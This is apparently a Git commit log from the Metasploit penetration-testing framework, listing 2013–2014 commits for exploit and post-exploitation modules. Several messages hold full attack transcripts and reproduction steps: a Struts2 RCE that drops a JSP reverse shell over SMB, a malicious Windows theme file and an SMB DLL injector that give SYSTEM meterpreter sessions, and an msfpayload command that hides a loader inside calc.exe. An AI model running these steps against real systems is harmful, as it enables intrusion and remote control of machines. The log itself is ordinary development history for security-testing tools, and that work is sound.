2014-08-27 22:54:40 +02:00
Thomas Ring
67efa76fc4
changes based on feedback
2014-08-27 09:08:18 -05:00
Thomas Ring
e23acf8d82
fix for oracle_login not checking connection status and stopping on timeout
2014-08-25 14:57:45 -05:00
Sean Verity
b7714c9661
Cleaned up indents.
2014-08-25 13:03:23 -04:00
Sean Verity
e47a6f1573
Provides methods to patch metsrv stagers with options.
2014-08-25 00:55:07 -04:00
Jakob Lell
b967336b3b
Small bugfix (incorrect filename in data directory)
2014-08-25 00:39:00 +02:00
Jakob Lell
fc6f50058b
Add desktop_linux_privilege_escalation module
2014-08-25 00:05:20 +02:00
Meatballs
d2bc0baa87
Merge remote-tracking branch 'upstream/master' into extapi_service_post
...
Conflicts:
lib/msf/core/post/windows/services.rb
2014-08-24 19:46:19 +01:00
Sean Verity
6661e1a5a4
De-committing based on suggestions from Meatballs1 and jlee-r7.
2014-08-17 20:37:06 -04:00
Lutzy
1102fff311
Add option to store all captured images
...
Added "-a" option that will store all images captured so they can be looked at later/converted to a video.
2014-08-14 20:35:51 -05:00
Sean Verity
3fd76105db
msftidy'd
2014-08-08 22:03:51 -04:00
Sean Verity
c5e452c866
Patches UA and PROXY in metsrv when running migrate
2014-08-08 21:48:02 -04:00
aczire
6028c6b053
Updated as per Juan Vazquez's comments.
2014-08-05 09:57:23 +05:30
aczire
4674089fca
Updated as per Juan Vazquez's comments.
2014-08-05 09:49:59 +05:30
Thomas Ring
37f159d80a
corrections based on feedback
2014-07-09 09:54:04 -05:00
Thomas Ring
10713dd440
New module to build wordlist for use by JtR, oclhashcat, etc generated by pulling info from multiple Active Directory fields
2014-07-08 16:09:48 -05:00
Jonathan Claudius
3a100e006e
Make retries configurable
2014-07-07 21:05:14 -04:00
Jonathan Claudius
056fc149d5
Move Cisco ASA SSL VPN Esc to Aux
2014-07-07 21:00:43 -04:00
Meatballs
ef0826c319
Fix bugs
2014-07-04 20:46:50 +01:00
Meatballs
05c9757624
Merge in #3488
2014-07-04 20:37:09 +01:00
Jonathan Claudius
186d20b0ed
Remove MetaSSH requirements
2014-06-12 21:59:40 -04:00
aczire
043ce5ab0e
Updated credentials reported supporting WebUI
...
Previously used Rex::Ui::Text::Table to report credentials does not rendered nicely msf web ui.
2014-06-08 22:25:20 +05:30
aczire
9a3af63ba4
updated with msfidy comments
...
Made msftidy complaint.
2014-06-08 17:44:46 +05:30
aczire
b9b386f200
Updated module name and description.
...
Updated module name, removing the term CSRF.
Updated module description quoting the nature of vulnerability as "Direct Request", CWE-425.
Updated module to report the discovered credentials.
2014-06-08 17:29:40 +05:30
Meatballs
936c7088ad
Merge branch 'master' into psexec_refactor_round2
...
Conflicts:
lib/msf/core/exploit/smb/psexec.rb
modules/exploits/windows/smb/psexec.rb
2014-06-07 13:38:30 +01:00
aczire
fe2f190e65
Updated send_request_raw with default timeout value.
2014-06-05 00:18:52 +05:30
Meatballs
f6e857030a
Remove duplicate defines
2014-05-25 09:40:33 +01:00
Meatballs
d77cb179a8
Fix return yarddoc
2014-05-23 21:16:11 +01:00
Meatballs
678104cdd6
Remove trailing slash
2014-05-23 20:48:56 +01:00
Meatballs
8aa2df1924
Fixup yarddoc
2014-05-23 20:47:52 +01:00
Meatballs
778138b0dc
Refactors
...
Add a Rex::Constants::Windows module to hold windows constants
Convert DCERPC_SERVICES to a class and move to Rex
2014-05-21 20:15:32 +01:00
aczire
460bf5c336
Update huawei_wifi_info.rb
2014-05-15 22:20:59 +05:30
Meatballs
0db22c5c57
Use library method
2014-05-05 13:24:33 +01:00
Meatballs
c474ff4465
Merge remote-tracking branch 'upstream/master' into extapi_service_post
...
Conflicts:
modules/exploits/windows/local/service_permissions.rb
modules/post/windows/manage/rpcapd_start.rb
2014-05-05 13:19:25 +01:00
Matthew Hall
d8bc180f04
Fix check detection
...
Remove checks for specific Tomcat versions, instead checking whether a
stacktrace is returned when requesting
?Class.classLoader.resources.dirContext.cacheObjectMaxSize with invalid
arguments.
Tested against Tomcat 6 and Tomcat 7 with Struts 2.3.16.1
2014-05-01 16:12:25 +01:00
Matthew Hall
e8f46f97e1
Remove bin_to_hex function and replace with Rex::Text.to_hex
2014-05-01 15:42:04 +01:00
Matthew Hall
187e7e4b5e
Add CVE-2014-0094 RCE for Struts2 using JSP injection over SMB
...
This commit adds an exploit for the Struts2 RCE utilising the Rex
SMBFileServer Protocol support to deploy a JSP shell over SMB.
```
resource (test4.msf)> use exploits/windows/http/struts_http_jspinject
resource (test4.msf)> set VERBOSE true
VERBOSE => true
resource (test4.msf)> set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
resource (test4.msf)> set URI /struts2-blank/example/HelloWorld.action
URI => /struts2-blank/example/HelloWorld.action
resource (test4.msf)> set SHARE share
SHARE => share
resource (test4.msf)> set JSP /example/HelloWorld.jsp
JSP => /example/HelloWorld.jsp
resource (test4.msf)> set SRVHOST 172.31.6.41
SRVHOST => 172.31.6.41
resource (test4.msf)> set RHOST 172.31.6.245
RHOST => 172.31.6.245
resource (test4.msf)> set RPORT 8080
RPORT => 8080
resource (test4.msf)> set LHOST 172.31.6.41
LHOST => 172.31.6.41
resource (test4.msf)> set LPORT 4444
LPORT => 4444
resource (test4.msf)> exploit
[*] Started reverse handler on 172.31.6.41:4444
[*] Generating our malicious jsp...
[*] About to start SMB Server on: \\172.31.6.41\share for
/example/HelloWorld.jsp
[*] Starting SMB Server on 172.31.6.41:445
[*] Injecting JSP to 172.31.6.245:8080 -
/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.dirContext.docBase=//172.31.6.41/share
[*] 172.31.6.245:8080 - JSP payload uploaded successfully
[*] Command shell session 1 opened (172.31.6.41:4444 ->
172.31.6.245:1146) at 2014-05-01 12:09:25 +0100
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\Apache Software Foundation\apache-tomcat-7.0.53\bin>
```
1. Install Tomcat 7.0.53
2. Download and unpack Struts 2.3.16.1 (http://www.mirrorservice.org/sites/ftp.apache.org//struts/binaries/struts-2.3.16.1-all.zip )
3. Deploy struts-2.3.16.1/apps/struts2-blank.war through Tomcat Manager interface
4. use exploits/windows/http/struts_http_jspinject
5. set PAYLOAD java/jsp_shell_reverse_tcp
6. set URI /struts2-blank/example/HelloWorld.action
7. set SHARE share
8. set JSP /example/HelloWorld.jsp
9. set SRVHOST
10. set RHOST
11. set RPORT 8080
12. set LHOST
13. set LPORT 4444
14. exploit
15. Enjoy shells
- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploits/windows/http/struts_http_jspinject
Tomcat 7.0.53 & Struts 2.3.16.1
2014-05-01 12:31:41 +01:00
Matthew Hall
ff14cf9bfb
Implement QUERY_FILE_INFO_NETWORK SMB command
...
This commit adds support for the TRANS2 request 'query file info
network' (smb_cmd_trans_query_file_info_network) used in some SMB client
requests. This adds specific support for functions used by Apache Tomcat
in the Struts2 JSP injection exploit (CVE-2014-0094).
2014-05-01 12:23:31 +01:00
Matthew Hall
f72d54b9df
Refactor ms13_071_theme to utilise Msf::Exploit::Remote::SMBFileServer
...
This commit refactors the ms13_071_theme module written by @jvazques-r7
to utilise the Rex SMBFileServer protocol and remove duplicate code from
Metasploit.
```
[*] Processing test3.msf for ERB directives.
resource (test3.msf)> use exploits/windows/fileformat/ms13_071_theme
resource (test3.msf)> set VERBOSE true
VERBOSE => true
resource (test3.msf)> set SHARE share
SHARE => share
resource (test3.msf)> set SCR exploit.scr
SCR => exploit.scr
resource (test3.msf)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (test3.msf)> set LHOST 172.32.255.1
LHOST => 172.32.255.1
resource (test3.msf)> set SRVHOST 172.32.255.1
SRVHOST => 172.32.255.1
resource (test3.msf)> set LPORT 4444
LPORT => 4444
resource (test3.msf)> exploit
[*] Started reverse handler on 172.32.255.1:4444
[*] Generating our malicious executable...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /root/.msf4/local/msf.theme
[+] Let your victim open msf.theme
[*] Starting SMB Server on: \\172.32.255.1\share\exploit.scr
[*] Starting SMB Server on 172.32.255.1:445
[*] Sending stage (769536 bytes) to 172.32.255.129
[*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.129:1096) at 2014-04-30 12:05:46 +0100
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
1. use exploits/windows/fileformat/ms13_071_theme
2. set payload windows/meterpreter/reverse_tcp
3. set LHOST
4. set SRVHOST
5. exploit
6. Copy msf.theme to target
7. Open theme and navigate to "Screensaver" tab
8. Enjoy shells
- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploits/windows/fileformat/ms13_071_theme
- [ ] Let target open malicious msf.theme file
* Windows XP SP3
2014-04-30 12:14:58 +01:00
Matthew Hall
b899504580
Bugfixes and additional protocol support for extra FIND_FIRST2 functions
...
These additions queue up support for the SMB functions used by the
ms13_071_theme expoit developed by Juan Vazquez, including support for
the FIND_FIRST2 functions:
* Find File Both Directory Info
* Find File Names Info
Additionally this commit fixes a few bugs in how the client SMB payload
is handled to determine whether a file, directory or "not found"
response needs to be returned and allows metasploit to serve arbitrary
files directly over SMB in addition to files being loaded in runtime
processes calling "LoadLibrary".
2014-04-30 11:58:34 +01:00
Jonathan Claudius
e7d381900b
Add logout page verification
2014-04-28 20:50:46 -04:00
Jonathan Claudius
9b1222d54b
Change to verbose output
2014-04-28 20:45:21 -04:00
Jonathan Claudius
e43010715b
Use vars_get for params
2014-04-28 20:42:50 -04:00
Jonathan Claudius
7b0ae98003
Reformat and #include? changes
2014-04-28 20:06:29 -04:00
Jonathan Claudius
72c9c916ec
Remove dead code
2014-04-27 21:24:54 -04:00
Matthew Hall
eb8add5806
Bugfix: Usage of data store OptStrings was incorrect.
2014-04-27 12:49:31 +01:00
Matthew Hall
a5492965bb
Add SMB DLL Injection Server
...
This is an implementation of using the SMBFileServer mixin to perform
DLL injection over SMB.
Exploitation can be performed by starting the dllinjector exploit
which will remain resident until a DLL is downloaded and a session
created. By generating an executable using the windows/loadlibrary
payload it is possible to test the SMBServer mixin on various platforms,
but also serves as a novel injection method where LoadLibrary calls are
not being filtered by Antivirus or EMET.
Example Run
```
# msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp SHARE=share DLL=exploit.dll LHOST=172.32.255.1 LPORT=4444 SRVHOST=172.32.255.1 E
[*] Initializing modules...
PAYLOAD => windows/meterpreter/reverse_tcp
SHARE => share
DLL => exploit.dll
LHOST => 172.32.255.1
LPORT => 4444
SRVHOST => 172.32.255.1
[*] Started reverse handler on 172.32.255.1:4444
[*] Generating our malicious dll...
[*] Starting SMB Server on: \\172.32.255.1\share\exploit.dll
[*] Sending stage (769536 bytes) to 172.32.255.128
[*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.128:1186) at 2014-04-24 11:18:55 +0100
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
Reproduction Steps
* Generate dllinjector executable (non-malicious)
```
msfpayload windows/loadlibrary DLL="\\\\1.2.3.4\\share\\exploit.dll" R | msfencode -b '\x00' -t exe -x calc.exe -k -o dllinjector.exe -e x86/shikata_ga_nai -c 3
```
* Run DLL Injection server
```
msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 SRVHOST=1.2.3.4 SHARE=share DLL=exploit.dll E
```
* Execute dllinjector.exe on the target host
* Monitor the generated traffic in Wireshark
* Enjoy shells.
Verification
Land #3074
Land #3075
Generate loadlibrary executable
Load dllinjector with payload
Run executable on target
Tested on:
Windows 7 (x86/x64)
Windows Server 2003
Windows Server 2008
2014-04-24 11:05:46 +01:00
Jonathan Claudius
4ca11c089a
Adds Cisco SSl VPN Privilege Escalation exploit
2014-04-22 21:19:21 -04:00
Meatballs
48a88c91d9
Aux doesn't have rand_text_alpha
2014-04-05 19:28:35 +01:00
Meatballs
5fccf986f8
Catch ACCESS_DENIED
2014-04-05 19:11:29 +01:00
Meatballs
2c9209f8b1
Auto persist
2014-04-05 18:50:49 +01:00
Meatballs
fd7f35d8b2
Moar constants
2014-04-05 18:38:12 +01:00
Meatballs
ae8d08c793
Handle request timeout
2014-04-02 23:36:40 +01:00
Meatballs
e76caccea0
Handle existing service names
2014-04-02 23:16:58 +01:00
Meatballs
fde4a3ea0a
Get it all working...
2014-04-02 22:52:07 +01:00
Meatballs
54cf1ba157
Use dcerpc_services
2014-04-02 22:41:31 +01:00
Meatballs
3a2049e673
Fixup open sm
2014-04-02 21:34:36 +01:00
Meatballs
f55d78cbe8
Pull in @jtesta's DCERPC Services work
2014-04-02 21:21:45 +01:00
Meatballs
410b1c607f
Refactor to new psexec style
2014-04-02 21:16:19 +01:00
Meatballs
ca2fb3da65
Merge branch 'master' into psexec_refactor_round2
...
Conflicts:
lib/msf/core/exploit/smb/psexec.rb
modules/exploits/windows/smb/psexec.rb
2014-04-02 21:01:45 +01:00
OJ
cceb146680
Support for the new ADSI result structure
2014-04-02 17:37:23 +10:00
pyoor
b3f7447e53
Merge pull request #1 from jlee-r7/land-2985-pandorafms-sqli
...
Improvements for PandoraFMS SQLi module
2014-03-28 18:32:13 -04:00
OJ
685d959886
Support refactors of TLVs and adsi nested group changes
2014-03-27 15:49:22 +10:00
Meatballs
9ee13afe6a
Catch file not found
2014-03-19 14:08:52 +00:00
Meatballs
c78a6b36b6
Remove service
2014-03-19 14:02:36 +00:00
Meatballs
d3992773ed
Use error codes to give more feedback
2014-03-19 14:00:23 +00:00
Meatballs
8082c19469
Allow servicename/displayname to be set
...
Tidyup psexec some more
2014-03-19 13:16:14 +00:00
Meatballs
16a553937b
Allow passing of servicename etc
2014-03-19 12:46:41 +00:00
Meatballs
71818b59d1
Check for a valid handle
...
If service already exists open a handle.
If we have a valid handle ensure we try and close it.
2014-03-19 12:44:31 +00:00
Meatballs
fcc5cfb155
Dont rescue Exception
2014-03-19 12:05:58 +00:00
Matthew Hall
c1db8e260f
Add yardoc documentation for the SMBFileServer Class
2014-03-12 17:28:18 +00:00
Matthew Hall
eaf908c388
Add example usage to Msf::Exploit::Remote::SMBFileServer documentation
2014-03-12 17:07:27 +00:00
Matthew Hall
fe02ba5f55
Add yardoc documentation for Msf::Exploit::Remote::SMBFileServer
2014-03-12 17:06:06 +00:00
Matthew Hall
0f259d3032
Tidy lib/rex/proto/smb/server.rb following feedback from jlee-r7
...
* Remove redundant ServerClient class
* Use dlog/elog/ilog instead of printing to $stdout
2014-03-12 15:41:21 +00:00
Matthew Hall
c6d92796e6
Clean with msftidy.rb
2014-03-12 10:06:02 +00:00
Matthew Hall
88d06c6c1d
Tidy lib/msf/core/exploit/smb.rb following feedback from jlee-r7.
...
* Doc comments wrap at 78 chars to follow yardoc convention
* Remove unused :server and SERVER vals
* Use Utils class directly
* Stop server within an ensure
* Change SRVHOST to an OptAddress
2014-03-12 09:54:54 +00:00
Matthew Hall
019056d75f
Generic HTTP DLL Injection Exploit Module
...
This is an example implementation of using the
Msf::Exploit::Remote::SMBFileServer module to perform
arbitrary DLL injection over SMB.
2014-03-07 15:09:45 +00:00
Matthew Hall
88df736df7
Implement SMBFileServer mixin.
...
In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.
This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.
Utilising the module (example):
include Msf::Exploit::Remote::SMBFileServer
exe = generate_payload_dll
@exe_file = rand_text_alpha(7) + ".dll"
@share = rand_text_alpha(5)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address : datastore['SRVHOST']
@unc = "\\#{my_host}\#{@share}\#{@exe_file}"
start_smb_server(@unc, exe, @exe_file)
// Inject DLL
handle
A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb
2014-03-07 15:07:25 +00:00
Matthew Hall
d380435113
This commit adds support for implementing the SMBFileServer Module
...
within Rex, allowing exploit modules to create a payload to be sent
to an SMBFileServer instance. This can be useful in cases where
you would find DLL injection in an system which will read files
over a UNC share, or other instances where a payload can be delivered
over SMB.
This code borrows heavily from the ms13_071_theme module written
by Juan Vazquez, however I have performed a fair amount of protocol
analysis and debugging to provide support for delivering an arbitrary
MSF payload over UNC.
The main differences being the presence of functions to support:
-SMB CMD Trans Query Path Info (Basic and Standard)
- SMB CMD Trans Query File Info (Standard and Internal)
This code can be considered "alpha", as I have only implemented support
for the SMB functions discovered during development of an exploit of an
arbitrary DLL injection into a server performing a "LoadLibraryA" call.*
However, this provides a basis upon which additional SMB functions can
be implemented to extend delivery of payloads over SMB.
A separate commit will expose the SMBFileServer Module within
./lib/msf/core/exploit/smb.rb
* This exploit will be committed separately once a fix has been confirmed
by the vendor.
2014-03-07 15:00:45 +00:00
somename11111
99cd36c036
Fix description of Input
2014-03-06 03:16:55 +01:00
somename11111
689523a26f
Clean Code based on jlee-r7's comments
...
- Put allocations in loop
- Decomment exitfunc
- Aligned comments
- Some more code cleaning
2014-03-06 02:44:24 +01:00
somename11111
83929facc4
Fix bug on Windows XP
...
Correct the addresses of functions in pstorec.dll.
Successfully tested on Server 2003 and XP.
2014-03-06 02:35:44 +01:00
somename11111
4aca648faf
Correct file information
2014-03-06 02:35:36 +01:00
somename11111
ba31e304b5
Clean the code
...
Remove debugging functions from block_get_pstore_proxy_auth.asm.
Reduce allocation size to 1kB.
2014-03-06 02:35:25 +01:00
somename11111
b6b46abe9f
Add new stager stager_reverse_http_proxy_pstore
...
This stager looks for proxy credentials in windows protected storage. If it finds proxy credentials, it will use them to connect back. If it does not find credentials, it will do the same as stager_reverse_http.
Works on:
- Windows Server 2003
- Windows XP
- Internet Explorer versions 4 to 6
2014-03-06 02:35:12 +01:00
James Lee
d1ea74c5fa
Make the password hash stand out as more important
2014-03-04 15:08:47 -06:00
James Lee
9a403bf630
Also extract admin hash if password auth failed
2014-03-04 14:55:47 -06:00
James Lee
423477bc52
auth_succeeded? is a better name for this method
2014-03-04 14:55:47 -06:00
James Lee
917b09086b
Pull the copy-pasted verification into a method
2014-03-04 14:55:47 -06:00
James Lee
4cfda88bad
Pull the copy-pasted sqli into a method
2014-03-04 14:55:47 -06:00
Meatballs1
a2719d2393
Merge pull request #41 from jlee-r7/merge-2766
...
Add Post::Windows::Services#each_service
2014-02-19 00:49:45 +00:00
James Lee
4c557a1401
Add Post::Windows::Services#each_service
...
Also cleans up some style issues and adds yardoc comments for some stuff
in Post::File
Note that windows/local/service_permissions is still using
`service_list` because it now builds a Rex::Table, which has to have
all the data up front, anyway.
2014-02-18 18:24:23 -06:00
James Lee
684c45a5ff
Merge remote-tracking branch 'upstream/pr/2766' into merge-2766
2014-02-18 17:36:13 -06:00
pyoor
faae51f39e
Implemented @jlee-r7 requested changes
2014-02-17 10:13:18 -05:00
pyoor
ca15d2d8e7
Added Pandora FMS RCE and SQLi module
2014-02-12 12:02:33 -05:00
Meatballs
d0031c2ffa
change_startup can now be run remotely
2014-01-03 16:25:15 +00:00
Meatballs
22163a5096
Tidy change_startup
2014-01-03 16:02:10 +00:00
Meatballs
c426946886
Final tidyups
2014-01-03 15:55:03 +00:00
Meatballs
ab4c07c72a
Remove post/persist - it is past depreciation date
2014-01-03 15:45:40 +00:00
Meatballs
9028060f7d
Refactor service_create
2014-01-03 15:44:59 +00:00
Meatballs
5adc9e93f4
Merge remote-tracking branch 'upstream/master' into extapi_service_post
2014-01-03 14:39:55 +00:00
Meatballs
1dacab6c03
service_restart should allow start_type to be defined
2013-12-18 12:17:24 +00:00
Meatballs
c3aee714af
shadowcopy should use service_restart
2013-12-18 12:12:34 +00:00
Meatballs
0e33fc40a2
Remove duplicate test services
2013-12-18 11:56:24 +00:00
Meatballs
0be6350360
rpcapd_start should use service_restart
2013-12-18 11:54:15 +00:00
Meatballs
42bc5ab75f
Use Services calls in enable_rdp
...
Update calls to change_service_config to check success
2013-12-18 11:34:12 +00:00
Meatballs
11ea66996c
Check for nil values
2013-12-18 11:15:52 +00:00
Meatballs
55a5a7e032
Fix typo
2013-12-18 11:06:03 +00:00
Meatballs
0327d2ba53
Fix deprecated date
2013-12-18 00:09:33 +00:00
Meatballs
bce7fab2cd
Fixup IKEEXT
2013-12-18 00:08:01 +00:00
Meatballs
0bac2415ca
Some post testing fixes
...
Also deprecate net escalate as it is covered by service_permissions
as a generic exploit
2013-12-18 00:00:14 +00:00
Meatballs
67cb5dad27
Fixes after testing
2013-12-17 23:47:58 +00:00
Meatballs
067e6d89bb
Use service_restart in IKEEXT and ServicePermissions
...
Service_restart is aggressive so should attempt to leave as Auto
2013-12-17 17:21:35 +00:00
Meatballs
73d978d5f6
Add some negative tests
2013-12-17 15:24:27 +00:00
Meatballs
41a00101b0
Add change_config test
2013-12-17 14:18:26 +00:00
Meatballs
ba335d6c91
Update Service Tests
...
And small fixes
2013-12-17 14:03:19 +00:00
Meatballs
70caacd631
Corrections to service_handle
2013-12-17 12:21:20 +00:00
Meatballs
ca90815fb3
Ensure all handles are closed
...
And stop repeating the adv definition
2013-12-17 12:15:59 +00:00
Meatballs
c2dd174e3c
Merge remote-tracking branch 'upstream/master' into extapi_service_post
2013-12-17 01:54:24 +00:00
Meatballs
a33721f444
service_change_config keys should match extapi
2013-12-17 01:48:09 +00:00
Meatballs
101e5a8ccf
Tidyup trusted_service_path
...
Use filedropper, use service exe, dont migrate
2013-12-17 01:46:45 +00:00
Meatballs
484bf2f8fc
close_service_handle
2013-12-17 01:02:35 +00:00
Meatballs
560080fa21
Update start_service return value
...
Add service_restart
2013-12-17 00:43:35 +00:00
Meatballs
f39bc0b07a
Update service_stop return
2013-12-17 00:22:37 +00:00
Meatballs
f58a26033a
Add missing underscore
2013-12-17 00:10:15 +00:00
Meatballs
19c2ac9a6b
Fix duplicate error
2013-12-17 00:09:58 +00:00
Meatballs
45a03cc805
Use Error mixin
2013-12-17 00:03:10 +00:00
Meatballs
d82f993a02
Merge branch 'windows_error_constants' into extapi_service_post
...
Conflicts:
lib/msf/core/post/windows.rb
2013-12-17 00:01:06 +00:00
Meatballs
2fafdcbb89
Use railgun string constants
...
Remove unnecessary constants
Bit of tidying
2013-12-16 23:59:51 +00:00
Meatballs
8e88b63ccb
Organise service constants
...
Try to establish some sanity to file...
2013-12-16 23:59:14 +00:00
Meatballs
fd19881433
Docs
2013-12-16 19:39:36 +00:00
Meatballs
5be9622782
Tidy and constants
2013-12-16 18:35:24 +00:00
Meatballs
87fe6ecfaa
Fixup modules
2013-12-15 18:43:55 +00:00
Meatballs
f10a35ed08
Use :display correctly
2013-12-15 18:28:29 +00:00
Meatballs
cd837ebe16
ikeext_service service_info fixup
2013-12-15 18:28:06 +00:00
Meatballs
c89b7cb4ee
nvidia_nvsvc service_info fixup
2013-12-15 18:20:25 +00:00
Meatballs
375103b930
trusted_service_path service_info fixup
2013-12-15 18:15:48 +00:00
Meatballs
577adcef27
enum_services service_info fixup
2013-12-15 18:13:12 +00:00
Meatballs
6d5aefd620
rpcapd_start service_info fixup
2013-12-15 18:09:57 +00:00
Meatballs
bcde06bfc7
net_runtime service_info fixup
2013-12-15 18:06:32 +00:00
Meatballs
7d7495a5dd
Large refactor of service_permissions
2013-12-15 18:00:14 +00:00
Meatballs
c97e8d3817
Return hash for service_info and use ErrorMessage
2013-12-15 17:59:57 +00:00
Meatballs
ca4e35d949
Use ErrorMessage in check_dir_perms
2013-12-15 17:57:51 +00:00
Meatballs
8c800b8596
check_dir_perms fix return nil
2013-12-15 17:18:32 +00:00
Meatballs
fe7852b524
Unworking refactor of serv_perm
2013-12-15 04:02:11 +00:00
Meatballs
2a819d4b08
Tidyup trusted_Path
...
We dont just want to escalate to SYSTEM it would be handy to know
if we can escalate to anything e.g. Domain logins etc.
2013-12-15 04:01:02 +00:00
Meatballs
d9ce80d4d0
Add service_change_config
2013-12-15 04:00:27 +00:00
Meatballs
d71e67e5f4
Rename file should return some indication of success
2013-12-15 03:28:28 +00:00
Meatballs
ddf23ae8e8
Refactor service_list to return array of hashes
...
Update trusted_service_path, service_permissions,
net_runtime_modify and enum_services to handle change.
Refactor enum_services to tidy it up a bit
2013-12-15 03:00:29 +00:00
Meatballs
6763d1fbd8
Refactor services for extapi
2013-12-15 02:09:25 +00:00
Meatballs
be68a64f9b
Remove wmic reference
2013-12-15 02:09:07 +00:00
Meatballs
77dd7ec290
Include ExtAPI Mixin
...
Move ExtAPI above services require
2013-12-15 01:32:58 +00:00
rcnunez
9d50a7da85
Pandora Authentication Bypass and File Upload Exec
2013-12-03 21:23:56 +08:00
aczire
49f2cf07af
added huawei SOHO router information disclosure and csrf, cve-2013-6031
2013-11-20 23:09:41 +05:30
Sean Verity
911e9dcb54
Made some final touches. Ready for review.
2013-07-26 16:07:20 -04:00
Sean Verity
7bbdc8c0dc
Couple of minor fixes and steps towards payload cleanup.
2013-07-25 21:37:17 -04:00
Sean Verity
b362ae8ae3
Using Meatballs1's first suggestion. Not quite there...but it's better.
2013-07-25 17:41:05 -04:00
Sean Verity
418bbd2db4
Shameless variation (ripoff) on sinn3r's mysql_mof.rb module.
2013-07-24 23:14:13 -04:00